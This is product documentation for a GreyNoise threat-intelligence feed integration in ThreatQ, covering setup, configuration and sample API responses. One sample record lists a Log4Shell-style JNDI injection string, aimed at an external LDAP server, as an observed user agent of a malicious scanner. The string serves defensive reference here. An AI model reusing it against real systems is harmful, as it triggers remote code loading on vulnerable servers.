Integration Details

ThreatQuotient provides the following details for this integration:

Introduction

GreyNoise collects, analyzes, and labels data on IPs that saturate security tools with noise. This unique perspective helps analysts waste less time on irrelevant or harmless activity, and spend more time focused on targeted and emerging threats.

The GreyNoise CDF provides the following feeds:

• GreyNoise - ingests new, malicious IP Addresses every day. Additionally, a GNQL query can be provided to narrow down the results.
• GreyNoise Enrichment - queries GreyNoise with IP Addresses from a Threat Collection and enriches those IP Addresses with the data that it ingests.

The following system object types are ingested by the integration:

• Indicators
  • Indicator Attributes
• Tags

Installation

Perform the following steps to install the integration:

The same steps can be used to upgrade the integration to a new version.

1. Log into https://marketplace.threatq.com/.
2. Locate and download the integration file.
3. Navigate to the integrations management page on your ThreatQ instance.
4. Click on the Add New Integration button.
5. Upload the integration file using one of the following methods:
   • Drag and drop the file into the dialog box
   • Select Click to Browse to locate the integration file on your local machine
6. Select the feeds to install, when prompted, and click Install.

   ThreatQ will inform you if the feed already exists on the platform and will require user confirmation before proceeding. ThreatQ will also inform you if the new version of the feed contains changes to the user configuration. The new user configurations will overwrite the existing ones for the feed and will require user confirmation before proceeding.

7. The feeds will be added to the integrations page. You will still need to configure and then enable the feed.

Configuration

ThreatQuotient does not issue API keys for third-party vendors. Contact the specific vendor to obtain API keys and other integration-related credentials.

To configure the integration:

1. Navigate to your integrations management page in ThreatQ.
2. Select the Commercial option from the Category dropdown (optional).
3. Click on the integration entry to open its details page.
4. Enter the following parameters under the Configuration tab:

   GreyNoise Feed Configuration Parameters

   Parameter	Description
   API Token	Your GreyNoise API Token.
   Last Seen Time Range	The date the device was most recently observed by GreyNoise. You can use the keyword today or 1d to specify how many days to go back.
   GNQL Query	ThreatQuotient highly recommends utilizing this parameter to narrow down the ingested dataset.  The field allows you to specify query arguments other than last_seen field, which is the default.    See the https://docs.greynoise.io/reference/gnqlquery-1 documentation for instructions on how to build a GNQL query.
   Attribute Filter	Select the pieces of context, attributes and tags, to ingest into the platform.  Options include: Tags (default) Classification (default) Malware Family (default) Actor (default) Category (default) CVE (default) Country Country Code (default) City Destination Countries Organization Is TOR (default) Is VPN (default) Is Spoofable Is Bot VPN Service Operating System ASN rDNS Scanned Paths Scanned Ports
   Items per Page	The number of items to return per page from the GreyNoise API. You should lower this value if you are encountering 400 errors when running the feed.

   

   GreyNoise Enrichment Configuration Parameters

   Parameter	Description
   Data Collection Hash	The hash of the Data Collection to be enriched. This hash can be found in your Threat Library after loading the Data Collection.  The hash will be in the browser's URL. Example:  https:// /threat-library#38d08c87b6e81a37a8591444f8c5dba5
   API Token	Your GreyNoise API Token.
   Attribute Filter	Select the pieces of context, attributes and tags, to ingest into the platform.  Options include: Tags (default) Classification (default) Malware Family (default) Actor (default) Category (default) CVE (default) Country Country Code (default) City Destination Countries Organization Is TOR (default) Is VPN (default) Is Spoofable Is Bot VPN Service Operating System ASN rDNS Scanned Paths Scanned Ports

   
5. Review any additional settings, make any changes if needed, and click on Save.
6. Click on the toggle switch, located above the Additional Information section, to enable it.

ThreatQ Mapping

{
    "complete": false,
    "count": 23178,
    "data": [
        {
            "ip": "114.25.66.87",
            "seen": true,
            "classification": "malicious",
            "first_seen": "2019-07-28",
            "last_seen": "2019-07-28",
            "actor": "CRAZY PANDA23",
            "tags": [
                "SMB Scanner",
                "Eternalblue"
            ],
            "metadata": {
                "country": "Taiwan, Province of China",
                "country_code": "TW",
                "city": "Nankang",
                "organization": "Data Communication Business Group",
                "rdns": "114-25-66-87.dynamic-ip.hinet.net",
                "asn": "AS3462",
                "tor": false,
                "os": "Windows 7/8",
                "category": "isp",
                "region": "Brussels Capital",
                "destination_countries":["United Kingdom"]
            },
            "raw_data": {
                "scan": [
                    {
                        "port": 445,
                        "protocol": "TCP"
                    }
                ],
                "web": {
                    "paths": [
                        "/",
                        "/bootstrap/3.3.6/css/bootstrap.min.css"
                    ],
                    "useragents": [
                        "Hello, world",
                        "${jndi:ldap://179.43.175.101:1389/gm7unt}"
                    ]
                },
                "ja3": []
            },
            "cve": [
                  "CVE-2016-6277",
                  "CVE-2016-6563"
              ],
            "bot": true,
            "vpn": true,
            "vpn_service": "Express VPN",
            "spoofable": true
        }
    ],
  "message": "ok",
  "query": "classification:malicious AND last_seen:today",
  "scroll": "FGluY2x1ZGVfY29udGV4dF91dWlkDnF1ZXJ5VGhlbkZldGNoBRZ5Z1h5QmZvd1RhU0RaMEQxejhJRXN3AAAAAAuCRswWSjRhYklqMGpRVlctSkpCMllyS3EyQRZZb01USEV4LVJnLWVJc1BSTkE1NDV3AAAAAAsLldcWWVBucXpfcnhRU2E3QTNaWG1SWlBzURZhUTg4NDExS1FpYXdvcTNTdVktMm93AAAAAAjYxu0WMk85akRMUnlTZ3EwWmxDYzRtSnJDQRZ5Z1h5QmZvd1RhU0RaMEQxejhJRXN3AAAAAAuCRs0WSjRhYklqMGpRVlctSkpCMllyS3EyQRZZb01USEV4LVJnLWVJc1BSTkE1NDV3AAAAAAsLldgWWVBucXpfcnhRU2E3QTNaWG1SWlBzUQ=="
}

[
  {
    "ip": "186.33.111.236",
    "noise": true,
    "riot": false,
    "code": "0x01"
  },
  {
    "ip": "8.8.8.8",
    "noise": false,
    "riot": true,
    "code": "0x09"
  }
]

{
  "data": [
    {
      "found": false,
      "ip": "186.3.111.236",
      "first_seen": "",
      "last_seen": "",
      "seen": false,
      "tags": null,
      "actor": "",
      "spoofable": false,
      "classification": "",
      "cve": null,
      "bot": false,
      "vpn": false,
      "vpn_service": "",
      "metadata": {
        "asn": "",
        "city": "",
        "country": "",
        "country_code": "",
        "organization": "",
        "category": "",
        "tor": false,
        "rdns": "",
        "os": ""
      },
      "raw_data": {
        "scan": [],
        "web": {},
        "ja3": [],
        "hassh": []
      }
    }
  ],
  "message": "ok",
  "results": 1
}

{
  "ip": "8.8.8.8",
  "riot": true,
  "category": "public_dns",
  "name": "Google Public DNS",
  "description": "Google's global domain name system (DNS) resolution service.",
  "explanation": "Public DNS services are used as alternatives to ISP's name servers. You may see devices on your network communicating with Google Public DNS over port 53/TCP or 53/UDP to resolve DNS lookups.",
  "last_updated": "2021-11-24T19:42:13Z",
  "logo_url": "https://upload.wikimedia.org/wikipedia/commons/2/2f/Google_2015_logo.svg",
  "reference": "https://developers.google.com/speed/public-dns/docs/isp#alternative",
  "trust_level": "1"
}

Average Feed Run

Object counts and Feed runtime are supplied as generalities only - objects returned by a provider can differ based on credential configurations and Feed runtime may vary based on system resources and load.

GreyNoise

GreyNoise Enrichment

Known Issues / Limitations

• The current implementation of GreyNoise feed will not prevent the timeout errors from occurring, but it will minimize them. Also, should the error occur, the integration will still ingest the information it has received up to that point. Users should include as many limiting search parameters as they can in order to prevent any timeout errors they might encounter from the Greynoise API.

Change Log

• Version 1.5.3
  • Resolved an issue where users would encounter a Error creating objects from threat data error with the GreyNoise feed when first_seen contained an empty string. 
• Version 1.5.2
  • Added the ability to ingest the Destination Country attribute.  
• Version 1.5.1
  • Added the GreyNoise feed back into the integration.
  • The user agent has been updated to be unique for each feed.  
• Version 1.5.0
  • Added configuration field, Attribute Filter, that allows you to select which context is ingested into the ThreatQ platform.
  • Resolved an issue where certain attributes would only be ingested if the vpn attribute existed.
  • Lowered the default limit parameter to prevent hitting pagination scroll ID timeouts.  The parameter is now configurable from the configuration page: Items per Page. 
  • Updated the minimum ThreatQ version to 4.58.0. 
  • Fixed typo for the rDNS attribute (was RDSN)
  • Removed GreyNoise feed due to GreNoise limitations regarding large data ingestion 
• Version 1.4.0
  • Improved integration performance by saving CVE, Malware, RDNS, and ASN as attributes.
  • Removed the Ingest CVEs parameter from the configuration page.  
• Version 1.3.0
  • Fixed a filter error with the GreyNoise Enrichment feed that would occur when GreyNoise did not return any enrichment data.
  • Added a manual run option for the GreyNoise Enrichment feed.  
• Version 1.2.0
  • Added new GreyNoise Enrichment feed.
  • Add new user configuration fields for GreyNoise feed.  
• Version 1.1.0
  • Added new user field.
  • Added published date to all attributes.
  • Added tags.
• Version 1.0.1
  • Limited the number of ingested paths attributes to 9000 to improve integration performance.  
• Version 1.0.0
  • Initial Release